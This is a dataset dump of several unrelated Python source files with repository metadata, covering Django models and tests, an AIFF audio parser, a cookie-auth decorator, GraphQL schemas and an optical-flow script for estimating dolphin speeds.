reverse('one_item', kwargs={'bucketlist_id': self.bucketlist.id, 'pk': self.item.id}) response = self.client.delete(url) self.assertEqual(response.status_code, 204) response = self.client.get(url) data = response.data self.assertEqual(response.status_code, 404) self.assertEqual("Not found.", data["detail"])
41.593407
88
0.574813
10,993
0.96812
0
0
0
0
0
0
1,716
0.151123
b0fdbad819a58bb24f68fffc89eae7b13da8ac0a
514
py
Python
src/model/match.py
HarborYuan/Student-Information-Management-System
7226bdea9a422cc88876ba58f1e36e4f7087342d
[ "Apache-2.0" ]
null
null
null
src/model/match.py
HarborYuan/Student-Information-Management-System
7226bdea9a422cc88876ba58f1e36e4f7087342d
[ "Apache-2.0" ]
null
null
null
src/model/match.py
HarborYuan/Student-Information-Management-System
7226bdea9a422cc88876ba58f1e36e4f7087342d
[ "Apache-2.0" ]
1
2018-12-03T11:43:37.000Z
2018-12-03T11:43:37.000Z
import re class IsCellphone(): def __init__(self): self.p = re.compile(r'[1][^1269]\d{9}') def iscellphone(self, number): res = self.p.match(number) if res: return True else: return False class IsMail(): def __init__(self): self.p = re.compile(r'[^\._][\w\._-]+@(?:[A-Za-z0-9]+\.)+[A-Za-z]+$') def ismail(self, str): res = self.p.match(str) if res: return True else: return False
19.769231
77
0.486381
498
0.968872
0
0
0
0
0
0
66
0.128405
b0feb9c47583568b91cc55ff1a17eb9a915a0f41
1,626
py
Python
framework/repository/info.py
jarret/bitcoin_helpers
4b6155ea3b004ad58a717b36cd58138d058281b1
[ "MIT" ]
null
null
null
framework/repository/info.py
jarret/bitcoin_helpers
4b6155ea3b004ad58a717b36cd58138d058281b1
[ "MIT" ]
null
null
null
framework/repository/info.py
jarret/bitcoin_helpers
4b6155ea3b004ad58a717b36cd58138d058281b1
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 # Copyright (c) 2017 The Bitcoin Core developers # Distributed under the MIT software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. import json import os import sys from framework.path.path import Path from framework.file.io import read_file from framework.git.path import GitPath REPO_INFO_FILENAME = ".bitcoin-maintainer-tools.json" FAILBACK_REPO_INFO_FILENAME = ".fallback-bitcoin-maintainer-tools.json" class RepositoryInfo(dict): """ Dictionary that is sourced from a json file in the target repository. If the file doesn't exist, a fallback file is used for the settings. """ def __init__(self, repository_base): super().__init__() json_file = os.path.join(repository_base, REPO_INFO_FILENAME) path = Path(json_file) if not path.exists(): # If there is no .json file in the repo, it might be an old version # checked out. We can still do best-effort with a default file # that is located in this repo. json_file = self._failback_file() path = Path(json_file) if not path.exists(): sys.exit("Could not find a .json repository info file to use.") path.assert_is_file() path.assert_mode(os.R_OK) content = read_file(json_file) self.update(json.loads(content)) def _failback_file(self): gp = GitPath(os.path.abspath(os.path.realpath(__file__))) return os.path.join(str(gp.repository_base()), FAILBACK_REPO_INFO_FILENAME)
36.954545
79
0.674662
1,136
0.698647
0
0
0
0
0
0
649
0.399139
b0ff358c2ba4c5c042b20c8c472910cebd571e0f
861
py
Python
backend/members/schema.py
singsaker/intern
9376732c6d537f46443ad43afa51e82df2005da8
[ "MIT" ]
4
2021-10-06T19:09:12.000Z
2022-03-28T12:14:42.000Z
backend/members/schema.py
singsaker/intern
9376732c6d537f46443ad43afa51e82df2005da8
[ "MIT" ]
2
2021-11-30T16:07:05.000Z
2022-02-17T23:57:00.000Z
backend/members/schema.py
singsaker/intern
9376732c6d537f46443ad43afa51e82df2005da8
[ "MIT" ]
null
null
null
import graphene import graphql_jwt from .resolvers import MemberResolvers from .types import MemberType, UserType class MemberQueries(graphene.ObjectType, MemberResolvers): member = graphene.Field(MemberType, id=graphene.ID(required=True)) all_users = graphene.List(UserType) all_members = graphene.List(MemberType) all_active_members = graphene.List(MemberType) user = graphene.Field(UserType) user_details = graphene.Field(UserType) send_email = graphene.Field(UserType) class UserMutations(graphene.ObjectType): token_auth = graphql_jwt.ObtainJSONWebToken.Field() verify_token = graphql_jwt.Verify.Field() refresh_token = graphql_jwt.Refresh.Field() delete_token_cookie = graphql_jwt.DeleteJSONWebTokenCookie.Field() # Mulig bare romsjef skal ha mulighet til dette? # create_user = CreateUser.Field()
34.44
70
0.773519
740
0.859466
0
0
0
0
0
0
82
0.095238
b0ffaa7976be25e795d5abe04edf6fd2fd0631eb
1,540
py
Python
cookie_manager/security_decorator.py
ScholarPack/cookie-manager
342eaf19d4ebbe83319306e4a3afcc3988f61d3d
[ "MIT" ]
10
2020-02-26T14:13:05.000Z
2021-07-30T02:16:47.000Z
cookie_manager/security_decorator.py
ScholarPack/cookie-manager
342eaf19d4ebbe83319306e4a3afcc3988f61d3d
[ "MIT" ]
13
2020-02-26T10:42:09.000Z
2021-09-30T13:26:23.000Z
cookie_manager/security_decorator.py
ScholarPack/cookie-manager
342eaf19d4ebbe83319306e4a3afcc3988f61d3d
[ "MIT" ]
3
2020-03-29T00:49:23.000Z
2020-07-24T16:26:20.000Z
from functools import wraps from typing import List, Any from cookie_manager import CookieManager class CookieSecurityDecorator: _cookie_manager = None _request = None _cookie_name = None def init_app(self, request: Any, cookie_manager: CookieManager, cookie_name: str): """ Initialise the security decorators :param request: An object with the attribute `cookies` :param cookie_manager: The instance of the cookie manager to be used for the decorator :param cookie_name: The name of the cookie to read from the request """ self._request = request self._cookie_manager = cookie_manager self._cookie_name = cookie_name def keys_required(self, keys: List = []): """ :param keys: A list of cookie signing keys that are allowed to use a decorated endpoint. :raises Unauthorized: When the route is accessed without a valid key id :return: wrapper """ def route_wrapper(f): @wraps(f) def wrapper(*args, **kwds): verfied_cookie = self._cookie_manager.verify( signed_cookie=self._request.cookies.get(self._cookie_name) ) key_id = verfied_cookie.get("key_id") if len(keys) == 0 or key_id in keys: return f(*args, **kwds) else: raise self._cookie_manager._exceptions.Unauthorized() return wrapper return route_wrapper
34.222222
96
0.619481
1,439
0.934416
0
0
456
0.296104
0
0
517
0.335714
7c0015d18f7709ad1f58810e4e4fbcf0c3ae1358
6,394
py
Python
mutagen/aiff.py
lucienimmink/scanner.py
cecaa0a570ba8058321dea1c8efa9f77868effb3
[ "MIT" ]
2
2022-03-14T15:34:14.000Z
2022-03-23T17:05:42.000Z
mutagen/aiff.py
lucienimmink/scanner.py
cecaa0a570ba8058321dea1c8efa9f77868effb3
[ "MIT" ]
null
null
null
mutagen/aiff.py
lucienimmink/scanner.py
cecaa0a570ba8058321dea1c8efa9f77868effb3
[ "MIT" ]
2
2020-09-17T08:27:12.000Z
2021-08-23T11:13:52.000Z
# -*- coding: utf-8 -*- # Copyright (C) 2014 Evan Purkhiser # 2014 Ben Ockmore # 2019-2020 Philipp Wolfer # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. """AIFF audio stream information and tags.""" import struct from struct import pack from mutagen import StreamInfo, FileType from mutagen.id3._util import ID3NoHeaderError, error as ID3Error from mutagen._iff import ( IffChunk, IffContainerChunkMixin, IffFile, IffID3, InvalidChunk, error as IffError, ) from mutagen._util import ( convert_error, loadfile, endswith, ) __all__ = ["AIFF", "Open", "delete"] class error(IffError): pass # based on stdlib's aifc _HUGE_VAL = 1.79769313486231e+308 def read_float(data): """Raises OverflowError""" assert len(data) == 10 expon, himant, lomant = struct.unpack('>hLL', data) sign = 1 if expon < 0: sign = -1 expon = expon + 0x8000 if expon == himant == lomant == 0: f = 0.0 elif expon == 0x7FFF: raise OverflowError("inf and nan not supported") else: expon = expon - 16383 # this can raise OverflowError too f = (himant * 0x100000000 + lomant) * pow(2.0, expon - 63) return sign * f class AIFFChunk(IffChunk): """Representation of a single IFF chunk""" @classmethod def parse_header(cls, header): return struct.unpack('>4sI', header) @classmethod def get_class(cls, id): if id == 'FORM': return AIFFFormChunk else: return cls def write_new_header(self, id_, size): self._fileobj.write(pack('>4sI', id_, size)) def write_size(self): self._fileobj.write(pack('>I', self.data_size)) class AIFFFormChunk(AIFFChunk, IffContainerChunkMixin): """The AIFF root chunk.""" def parse_next_subchunk(self): return AIFFChunk.parse(self._fileobj, self) def __init__(self, fileobj, id, data_size, parent_chunk): if id != u'FORM': raise InvalidChunk('Expected FORM chunk, got %s' % id) AIFFChunk.__init__(self, fileobj, id, data_size, parent_chunk) self.init_container() class AIFFFile(IffFile): """Representation of a AIFF file""" def __init__(self, fileobj): # AIFF Files always start with the FORM chunk which contains a 4 byte # ID before the start of other chunks super().__init__(AIFFChunk, fileobj) if self.root.id != u'FORM': raise InvalidChunk("Root chunk must be a FORM chunk, got %s" % self.root.id) def __contains__(self, id_): if id_ == 'FORM': # For backwards compatibility return True return super().__contains__(id_) def __getitem__(self, id_): if id_ == 'FORM': # For backwards compatibility return self.root return super().__getitem__(id_) class AIFFInfo(StreamInfo): """AIFFInfo() AIFF audio stream information. Information is parsed from the COMM chunk of the AIFF file Attributes: length (`float`): audio length, in seconds bitrate (`int`): audio bitrate, in bits per second channels (`int`): The number of audio channels sample_rate (`int`): audio sample rate, in Hz bits_per_sample (`int`): The audio sample size """ length = 0 bitrate = 0 channels = 0 sample_rate = 0 @convert_error(IOError, error) def __init__(self, fileobj): """Raises error""" iff = AIFFFile(fileobj) try: common_chunk = iff[u'COMM'] except KeyError as e: raise error(str(e)) data = common_chunk.read() if len(data) < 18: raise error info = struct.unpack('>hLh10s', data[:18]) channels, frame_count, sample_size, sample_rate = info try: self.sample_rate = int(read_float(sample_rate)) except OverflowError: raise error("Invalid sample rate") if self.sample_rate < 0: raise error("Invalid sample rate") if self.sample_rate != 0: self.length = frame_count / float(self.sample_rate) self.bits_per_sample = sample_size self.sample_size = sample_size # For backward compatibility self.channels = channels self.bitrate = channels * sample_size * self.sample_rate def pprint(self): return u"%d channel AIFF @ %d bps, %s Hz, %.2f seconds" % ( self.channels, self.bitrate, self.sample_rate, self.length) class _IFFID3(IffID3): """A AIFF file with ID3v2 tags""" def _load_file(self, fileobj): return AIFFFile(fileobj) @convert_error(IOError, error) @loadfile(method=False, writable=True) def delete(filething): """Completely removes the ID3 chunk from the AIFF file""" try: del AIFFFile(filething.fileobj)[u'ID3'] except KeyError: pass class AIFF(FileType): """AIFF(filething) An AIFF audio file. Arguments: filething (filething) Attributes: tags (`mutagen.id3.ID3`) info (`AIFFInfo`) """ _mimes = ["audio/aiff", "audio/x-aiff"] @staticmethod def score(filename, fileobj, header): filename = filename.lower() return (header.startswith(b"FORM") * 2 + endswith(filename, b".aif") + endswith(filename, b".aiff") + endswith(filename, b".aifc")) def add_tags(self): """Add an empty ID3 tag to the file.""" if self.tags is None: self.tags = _IFFID3() else: raise error("an ID3 tag already exists") @convert_error(IOError, error) @loadfile() def load(self, filething, **kwargs): """Load stream and tag information from a file.""" fileobj = filething.fileobj try: self.tags = _IFFID3(fileobj, **kwargs) except ID3NoHeaderError: self.tags = None except ID3Error as e: raise error(e) else: self.tags.filename = self.filename fileobj.seek(0, 0) self.info = AIFFInfo(fileobj) Open = AIFF
25.99187
78
0.610416
4,688
0.733187
0
0
2,195
0.343291
0
0
1,951
0.30513
7c007a5d23b8a2015cedebc0918ddd73086265d1
398
py
Python
secrets_example.py
fuzzysearch404/SpotifyPlaylistScripts
17915742ca666edd8376f04d0e2687b207c32471
[ "MIT" ]
null
null
null
secrets_example.py
fuzzysearch404/SpotifyPlaylistScripts
17915742ca666edd8376f04d0e2687b207c32471
[ "MIT" ]
1
2021-11-03T13:40:55.000Z
2021-11-03T13:40:55.000Z
secrets_example.py
fuzzysearch404/SpotifyPlaylistScripts
17915742ca666edd8376f04d0e2687b207c32471
[ "MIT" ]
null
null
null
# Spotify web application client ID CLIENT_ID = 'your_client_id' # Spotify web application client secret CLIENT_SECRET = 'your_client_secret' # Redirect URI. This can be any uri. # Howerver, you MUST add this uri to your Spotify web app's settings. # Application settings -> Edit Settings -> Redirect URIs. # Add it there and save the settings. REDIRECT_URI = 'https://localhost:2020/done'
44.222222
70
0.753769
0
0
0
0
0
0
0
0
345
0.866834
7c02196ff08fda517c472d6a6325f606f3df8cac
1,210
py
Python
tradeiobot/db/stores/abstractstore.py
hcv57/tradeio-bot
a4c9f96a104e20ca0618d8d787cfef3599c8ebb7
[ "MIT" ]
2
2018-10-28T18:47:02.000Z
2019-10-09T14:52:04.000Z
tradeiobot/db/stores/abstractstore.py
hcv57/tradeio-bot
a4c9f96a104e20ca0618d8d787cfef3599c8ebb7
[ "MIT" ]
null
null
null
tradeiobot/db/stores/abstractstore.py
hcv57/tradeio-bot
a4c9f96a104e20ca0618d8d787cfef3599c8ebb7
[ "MIT" ]
null
null
null
import abc class AbstractStore(abc.ABC): def get(self, table, key, next_store_action): value = self.do_get(table, key) if not value: value = next_store_action(table, key) if value: # then update the local store self.do_set(table, key, value) return value def get_all_as_dict(self, table, next_store_action): values = self.do_get_all_as_dict(table) if not values: values = next_store_action(table) if values: for k, v in values: self.do_set(table, k, v) return values or dict() def set(self, table, key, value, next_store_action): self.do_set(table, key, value) next_store_action(table, key, value) def delete(self, table, key, next_store_action): self.do_delete(table, key) next_store_action(table, key) @abc.abstractmethod def do_get(self, table, key): pass @abc.abstractmethod def do_get_all_as_dict(self, table): pass @abc.abstractmethod def do_set(self, table, key, value): pass @abc.abstractmethod def do_delete(self, table, key): pass
26.888889
56
0.602479
1,197
0.989256
0
0
281
0.232231
0
0
29
0.023967
7c037d89e3a9bf24f7302ca98b6d3dd08cac776e
11,062
py
Python
ML/meanvel.py
lewisfish/Triton-dolphin
bc7256485e1bd943e0b9b3017c214c82e26905f3
[ "MIT" ]
null
null
null
ML/meanvel.py
lewisfish/Triton-dolphin
bc7256485e1bd943e0b9b3017c214c82e26905f3
[ "MIT" ]
null
null
null
ML/meanvel.py
lewisfish/Triton-dolphin
bc7256485e1bd943e0b9b3017c214c82e26905f3
[ "MIT" ]
null
null
null
from concurrent import futures from itertools import repeat import pathlib from pathlib import Path import pickle import time from typing import List, Tuple, Union import cv2 as cv2 import hdbscan import numpy as np import pims from sklearn.cluster import KMeans from sklearn.preprocessing import StandardScaler from tqdm import tqdm from gps import getAltitude from ocr import getMagnification def _getFullFileName(files: List[pathlib.PosixPath], target: str) -> pathlib.PosixPath: '''Match a file to list of full filenames Parameters ---------- files : List[pathlib.PosixPath] List of file name to match to target : str File to be matched with full path Returns ------- file : pathlib.PosixPath Full filename ''' for file in files: if target in str(file): return file def getFrames(file: str, position: int, offset: int) -> Tuple[List[pims.frame.Frame], List[int], float]: """Get 3 frames for optical flow analysis. Frames are serperated by +/- offset. Central frame is at position. Parameters ---------- file : str Video file to get frames from position : int Position of central frame offset : int offset to get other frames for optical flow analysis Returns ------- Tuple[List[pims.frame.Frame], List[int], float] Frames at position, +/- offset, list of frame positions, fps of video """ assert position > offset video = pims.PyAVVideoReader(file) frame0 = video[position - offset] frame1 = video[position] frame2 = video[position + offset] return [frame0, frame1, frame2], [position - offset, position, position + offset], float(video._frame_rate) def getFramesCV2(file: str, position: int, offset: int): """Get 3 frames for optical flow analysis using cv2. Frames are serperated by +/- offset. Central frame is at position. Parameters ---------- file : str Video file to get frames from position : int Position of central frame offset : int offset to get other frames for optical flow analysis Returns ------- Tuple[List[np.ndarray], List[int], float] Frames at position, +/- offset, list of frame positions, fps of video """ assert position >= offset cap = cv2.VideoCapture(str(file)) fps = cap.get(cv2.CAP_PROP_FPS) cap.set(cv2.CAP_PROP_POS_FRAMES, position-offset) _, frame = cap.read() frame0 = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB) cap.set(cv2.CAP_PROP_POS_FRAMES, position) _, frame = cap.read() frame1 = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB) cap.set(cv2.CAP_PROP_POS_FRAMES, position+offset) _, frame = cap.read() frame2 = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB) return [frame0, frame1, frame2], [position - offset, position, position + offset], fps def cropFrames(frames: List[pims.frame.Frame], box: List[int]) -> List[pims.frame.Frame]: """Crop frames. Parameters ---------- frames : List[pims.frame.Frame] List of frames to be cropped box : List[int] Dimensions, and location to crop: format [y0, x0, y1, x1] Returns ------- List[pims.frame.Frame] List of cropped frames """ croppedFrames = [] xi = box[1] xii = box[3] yi = box[0] yii = box[2] for frame in frames: croppedFrames.append(frame[yi:yii, xi:xii]) return croppedFrames def preprocessFrame(frame: pims.frame.Frame, fg) -> Tuple[np.ndarray]: """Preprocess frame. Converts to grayscale and removes noise. Parameters ---------- frame : pims.frame.Frame Frame to be preprocessed fg : TYPE Foreground remover? Returns ------- Tuple[np.ndarray] Dilated image binary image, and grayscale image """ gray = cv2.cvtColor(frame, cv2.COLOR_RGB2GRAY) fgmask = fg.apply(gray) blur = cv2.GaussianBlur(fgmask, (5, 5), 0) _, thesh = cv2.threshold(blur, 20, 255, cv2.THRESH_BINARY) dilated = cv2.dilate(thesh, None, iterations=3) return dilated, gray def processContours(contours: List[float], contourpoints: List[List[float]], frame: pims.frame.Frame, debug=False) -> Tuple[List[List[float]], pims.frame.Frame]: """Get bounding boxes for each contour. Parameters ---------- contours : List[float] List of contours to find bounding boxes for. contourpoints : List[List[float]] List of bounding boxes. Does this need passed in? frame : pims.frame.Frame Frame from which the contours are from debug : bool, optional If true then draw bounding boxes Returns ------- Tuple[List[List[float]], pims.frame.Frame] List of bounding boxes, and frame """ for cnt in contours: x, y, w, h = cv2.boundingRect(cnt) cx = x + (w / 2) cy = y + (h / 2) contourpoints.append([cx, cy]) if debug: cv2.rectangle(frame, (x, y), (x + w, y + h), (0, 255, 0), 2) return contourpoints, frame def processFile(file: str) -> List[Union[str, int, List[float], int]]: """Open, read and process data from file. Parameters ---------- file : str File to read. Returns ------- List[Union[str, int, List[float], int]] List of videoname, framenumber, bounding box, and label """ info = [] f = open(file, "r") lines = f.readlines()[1:] for line in lines: name, framenum, *box, label, vel, kmeans, hdbscan = line.split(",") framenum = int(framenum) label = int(label) box = [int(x) for x in box] item = [name, framenum, box, label] info.append(item) return info def trainParallel(workers=8): """Wrapper function for training HDBSCAN in parallel. Parameters ---------- workers : int, optional Number of workers to use in parallel, default=2 """ data = processFile("../data/train.csv") with futures.ProcessPoolExecutor(workers) as executor: res = list(tqdm(executor.map(train, data), total=len(data))) velocities = [] for i in res: velocities.extend(i) # with open('velocities.npy', 'wb') as f: # np.save(f, velocities) # model = hdbscan.HDBSCAN(min_cluster_size=1000, cluster_selection_epsilon=0.2, min_samples=5, leaf_size=100, prediction_data=True).fit(np.array(velocities).reshape(-1, 1)) # import pickle # with open('model.pickle', 'wb') as f: # pickle.dump(model, f) def train(info: Tuple[str, List[float], int], root="/data/lm959/data/", crop=False): """Training function for HDBSCAN. Actually does the optical flow and returns the data needed for training. Parameters ---------- info : Tuple[str, List[float], int] Tuple of video filename, framenumber, bounding box of object, and label of object. root : str, optional Root of file system location where videos are stored. crop : bool, optional If true then crop frames to bounding box of object. Returns ------- velocitymeterPerSecond : np.ndarray List of velocities in m/s """ lk_params = dict(winSize=(15, 15), maxLevel=2, criteria=(cv2.TERM_CRITERIA_EPS | cv2.TERM_CRITERIA_COUNT, 10, 0.03)) fgbg = cv2.createBackgroundSubtractorMOG2() root = Path(root) videoFiles = list(root.glob("**/*.mp4")) vidname, fnumber, box, label = info fullname = _getFullFileName(videoFiles, vidname) frames, framenums, fps = getFramesCV2(fullname, fnumber, offset=15) contourpoints = [] fpsPerFrame = 1. / fps alt = getAltitude(fullname, framenums[1], gpsdataPath="../data/gps/") magn = getMagnification(frames[1]) dolphLength = 1714 * (magn / alt) + 16.5 dolphPixelPerSecond = dolphLength / 2. if crop: frames = cropFrames(frames, box) frame = frames[0] for i in range(0, 2): dilated, gray1 = preprocessFrame(frame, fgbg) contours, _ = cv2.findContours(dilated, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE) contourpoints, frame = processContours(contours, contourpoints, frame) p0 = np.array(contourpoints, np.float32) gray2 = cv2.cvtColor(frames[i + 1], cv2.COLOR_RGB2GRAY) try: p1, _, _ = cv2.calcOpticalFlowPyrLK(gray1, gray2, p0, None, **lk_params) diff = np.array(p1) - np.array(p0) velocity = diff / fpsPerFrame velocity = [np.sqrt(item[0]**2 + item[1]**2) for item in velocity] frame = frames[1].copy() contourpoints = [] except: # velocity = np.array([0.]) # if not crop: continue velocitymeterPerSecond = velocity / dolphPixelPerSecond return velocitymeterPerSecond def calcLabels(): """Summary """ from sklearn.cluster import KMeans data = processFile("../data/train.csv") data = data workers = 8 with futures.ProcessPoolExecutor(workers) as executor: res = list(tqdm(executor.map(train, data, repeat("/data/lm959/data/"), repeat(True)), total=len(data))) with open('velocities.npy', "rb") as f: arrays = np.load(f) # model = hdbscan.HDBSCAN(min_cluster_size=1000, min_samples=5, leaf_size=100, prediction_data=True).fit(arrays.reshape(-1, 1)) from sklearn.preprocessing import StandardScaler scaler = StandardScaler() TotalVelocity = scaler.fit_transform(arrays.reshape(-1, 1)) model = KMeans(n_clusters=6, random_state=0, max_iter=300, precompute_distances=True, algorithm='full').fit(np.array(TotalVelocity).reshape(-1, 1)) outshizz = [] for i, item in enumerate(res): vels = np.mean(item) test_labels = model.predict(vels.reshape(-1, 1)) tmp = [data[i][0], data[i][1], data[i][2][0], data[i][2][1], data[i][2][2], data[i][2][3], data[i][3], vels, test_labels[0]] outshizz.append(tmp) with open('train-data-kmeans.npy', 'wb') as f: np.save(f, np.array(outshizz)) # def infer(vels, tmper): # import pickle # with open('model.pickle', "rb") as f: # loaded_obj = pickle.load(f) # test_labels, strengths = hdbscan.approximate_predict(loaded_obj, np.array(vels).reshape(-1, 1)) def elbowPlot(): from sklearn.cluster import KMeans from sklearn.preprocessing import StandardScaler with open('velocities.npy', "rb") as f: arrays = np.load(f) scaler = StandardScaler() TotalVelocity = scaler.fit_transform(arrays.reshape(-1, 1)) inertia = [] for i in range(1, 15): print(i) km = KMeans(n_clusters=i, random_state=0, max_iter=300, precompute_distances=True, algorithm='full') km.fit(np.array(TotalVelocity).reshape(-1, 1)) inertia.append(km.inertia_) # results = trainParallel(workers=6) # calcLabels() # elbowPlot()
28.29156
176
0.626831
0
0
0
0
0
0
0
0
4,380
0.39595
7c088d45f5f62ebef1ceafec95293618d4108e74
390
py
Python
os_scrapy_record/spiders/__init__.py
zanachka/os-scrapy-record
03d0cafbea74c981a72d5d7c8a3e28f05e487689
[ "MIT" ]
2
2020-05-13T12:55:01.000Z
2020-07-24T06:52:49.000Z
os_scrapy_record/spiders/__init__.py
zanachka/os-scrapy-record
03d0cafbea74c981a72d5d7c8a3e28f05e487689
[ "MIT" ]
1
2020-05-22T09:03:04.000Z
2020-05-22T09:31:45.000Z
os_scrapy_record/spiders/__init__.py
zanachka/os-scrapy-record
03d0cafbea74c981a72d5d7c8a3e28f05e487689
[ "MIT" ]
2
2020-07-21T00:54:09.000Z
2020-10-29T18:10:03.000Z
# This package will contain the spiders of your Scrapy project # # Please refer to the documentation for information on how to create and manage # your spiders. import scrapy class ExampleSpider(scrapy.Spider): """ExampleSpider Auto generated by os-scrapy-cookiecuter Run: scrapy crawl example """ name = "example" start_urls = ["http://example.com/"]
19.5
79
0.697436
211
0.541026
0
0
0
0
0
0
294
0.753846
7c094dc9f6789987096d646f2920ee372eb6f1b8
3,409
py
Python
zero_paper/models.py
PLsergent/zero-paper
4663e0e9976447419b5da5cdd32e57dccfc32125
[ "MIT" ]
null
null
null
zero_paper/models.py
PLsergent/zero-paper
4663e0e9976447419b5da5cdd32e57dccfc32125
[ "MIT" ]
null
null
null
zero_paper/models.py
PLsergent/zero-paper
4663e0e9976447419b5da5cdd32e57dccfc32125
[ "MIT" ]
null
null
null
from django.db import models from django.contrib.auth.models import User from django.utils import timezone from django.dispatch import receiver import os import shutil class Folder(models.Model): name = models.CharField(max_length=128) parent_folder = models.ForeignKey("self", null=True, blank=True, on_delete=models.CASCADE) def __str__(self): return f'{self.name}' class Tag(models.Model): name = models.CharField(max_length=128) def __str__(self): return f'{self.name}' def upload_to(instance, filename): upload_to = "" if instance.folder: upload_to = instance.folder.name + "/" instance = instance.folder while True: if not instance.parent_folder: break upload_to = instance.parent_folder.name + "/" + upload_to instance = instance.parent_folder return "files/" + upload_to + filename class Document(models.Model): title = models.CharField(max_length=128) docfile = models.FileField(upload_to=upload_to) TYPES = ( ('PDF', 'Pdf'), ('IMG', 'Image'), ('XLS', 'Excel'), ('DOCX', 'Docx'), ('TXT', 'Text') ) doctype = models.CharField(max_length=128, choices=TYPES) description = models.TextField(max_length=250, blank=True) created = models.DateTimeField(editable=False) updated = models.DateTimeField(editable=False) folder = models.ForeignKey(Folder, null=True, blank=True, on_delete=models.CASCADE) tags = models.ManyToManyField(Tag) def save(self, *args, **kwargs): ''' On save, update timestamps ''' if not self.id: self.created = timezone.now() self.updated = timezone.now() return super(Document, self).save(*args, **kwargs) def __str__(self): return f'{self.title}' @receiver(models.signals.post_delete, sender=Document) def auto_delete_file_on_delete(sender, instance, **kwargs): """ Deletes file from filesystem when corresponding `Document` object is deleted. """ if instance.docfile: if os.path.isfile(instance.docfile.path): os.remove(instance.docfile.path) @receiver(models.signals.pre_save, sender=Document) def auto_delete_file_on_change(sender, instance, **kwargs): """ Deletes old file from filesystem when corresponding `Document` object is updated with new file. """ if not instance.pk: return False try: old_file = Document.objects.get(pk=instance.pk).docfile except Document.DoesNotExist: return False new_file = instance.docfile if not old_file == new_file: if os.path.isfile(old_file.path): os.remove(old_file.path) @receiver(models.signals.pre_save, sender=Document) def auto_move_file_on_update(sender, instance, **kwargs): """ Move old file from filesystem when corresponding `Document` object is updated with new folder. """ if not instance.pk: return False try: old_file = Document.objects.get(pk=instance.pk).docfile old_folder = Document.objects.get(pk=instance.pk).folder except Document.DoesNotExist: return False new_folder = instance.folder if not old_folder == new_folder: new_path = upload_to(instance, os.path.basename(old_file.path)) shutil.move(old_file.path, new_path)
29.903509
94
0.661484
1,272
0.37313
0
0
1,549
0.454385
0
0
490
0.143737
7c0a7ee8a1d12afb4a736f3531f18c61cfd4058f
100
py
Python
mr/request.py
chiselko6/MapReduce
dde409525b1fa121fd5ecefafc13414032c01f1c
[ "MIT" ]
1
2021-03-11T22:18:56.000Z
2021-03-11T22:18:56.000Z
mr/request.py
chiselko6/MapReduce
dde409525b1fa121fd5ecefafc13414032c01f1c
[ "MIT" ]
null
null
null
mr/request.py
chiselko6/MapReduce
dde409525b1fa121fd5ecefafc13414032c01f1c
[ "MIT" ]
null
null
null
def is_success(code): return code == 'ok' def is_error_code(code): return code == 'ERROR'
14.285714
26
0.64
0
0
0
0
0
0
0
0
11
0.11
7c0d4593b55079c9f02350a49f16e7cc7ca276e1
2,435
py
Python
acd-annotator-python/acd_annotator_python/acd_annotator.py
Alvearie/acd-extension-framework
04779a66dec3be9cd0f1899037eaba9c505d3edd
[ "Apache-2.0" ]
2
2021-04-20T17:30:37.000Z
2021-11-28T01:03:27.000Z
acd-annotator-python/acd_annotator_python/acd_annotator.py
Alvearie/acd-extension-framework
04779a66dec3be9cd0f1899037eaba9c505d3edd
[ "Apache-2.0" ]
2
2021-04-15T14:16:10.000Z
2021-04-16T16:45:58.000Z
acd-annotator-python/acd_annotator_python/acd_annotator.py
Alvearie/acd-extension-framework
04779a66dec3be9cd0f1899037eaba9c505d3edd
[ "Apache-2.0" ]
4
2021-04-15T14:11:10.000Z
2021-08-10T19:19:46.000Z
# ***************************************************************** # # # # (C) Copyright IBM Corp. 2021 # # # # SPDX-License-Identifier: Apache-2.0 # # # # ***************************************************************** # from abc import ABC, abstractmethod import inspect from fastapi import Request from acd_annotator_python.container_model.main import UnstructuredContainer from acd_annotator_python.container_model.main import StructuredContainer class ACDAnnotator(ABC): def __init_subclass__(cls, **kwargs): """ Make sure that any subclass that inherits ACDAnnotator defines is_healthy() and annotate() as coroutines (with the async keyword). This can lead to hard-to-track-down errors, so we'll do this check up front. :param arg: :param kwargs: """ super().__init_subclass__(**kwargs) child_method = getattr(cls, "is_healthy") assert inspect.iscoroutinefunction(child_method), f'The method {child_method} must be a coroutine ("async def")' child_method = getattr(cls, "annotate") assert inspect.iscoroutinefunction(child_method), f'The method {child_method} must be a coroutine ("async def")' @abstractmethod def on_startup(self, app): """Load any required resources when the server starts up. (Not async to allow io operations)""" ... @abstractmethod async def is_healthy(self, app): """Is this annotator healthy? This gives the annotator a chance to indicate that resources failed to load correctly, etc.""" ... async def annotate(self, unstructured_container: UnstructuredContainer, request: Request): """ Apply annotator logic to the unstructured container, altering it in-place. :param unstructured_container: :param request: :return: """ pass async def annotate_structured(self, structured_container: StructuredContainer, request: Request): """ Apply logic to a structured container altering it in-place. :param structured_container: :param request: :return: """ pass
39.918033
120
0.561396
1,711
0.702669
0
0
367
0.150719
755
0.310062
1,485
0.609856
9fd0cbfeb51abe9f235403600ea433496b7820f2
14,396
py
Python
objectModel/Python/tests/persistence/cdmfolder/data_partition/test_data_partition.py
Microsoft/CDM
7ea59264d661356ca1b44c31a352753928d08b5f
[ "CC-BY-4.0", "MIT" ]
265
2018-03-04T04:47:50.000Z
2019-05-06T13:31:18.000Z
objectModel/Python/tests/persistence/cdmfolder/data_partition/test_data_partition.py
Microsoft/CDM
7ea59264d661356ca1b44c31a352753928d08b5f
[ "CC-BY-4.0", "MIT" ]
39
2018-03-21T16:57:12.000Z
2019-05-06T17:30:23.000Z
objectModel/Python/tests/persistence/cdmfolder/data_partition/test_data_partition.py
Microsoft/CDM
7ea59264d661356ca1b44c31a352753928d08b5f
[ "CC-BY-4.0", "MIT" ]
75
2018-03-09T20:33:13.000Z
2019-05-05T06:55:43.000Z
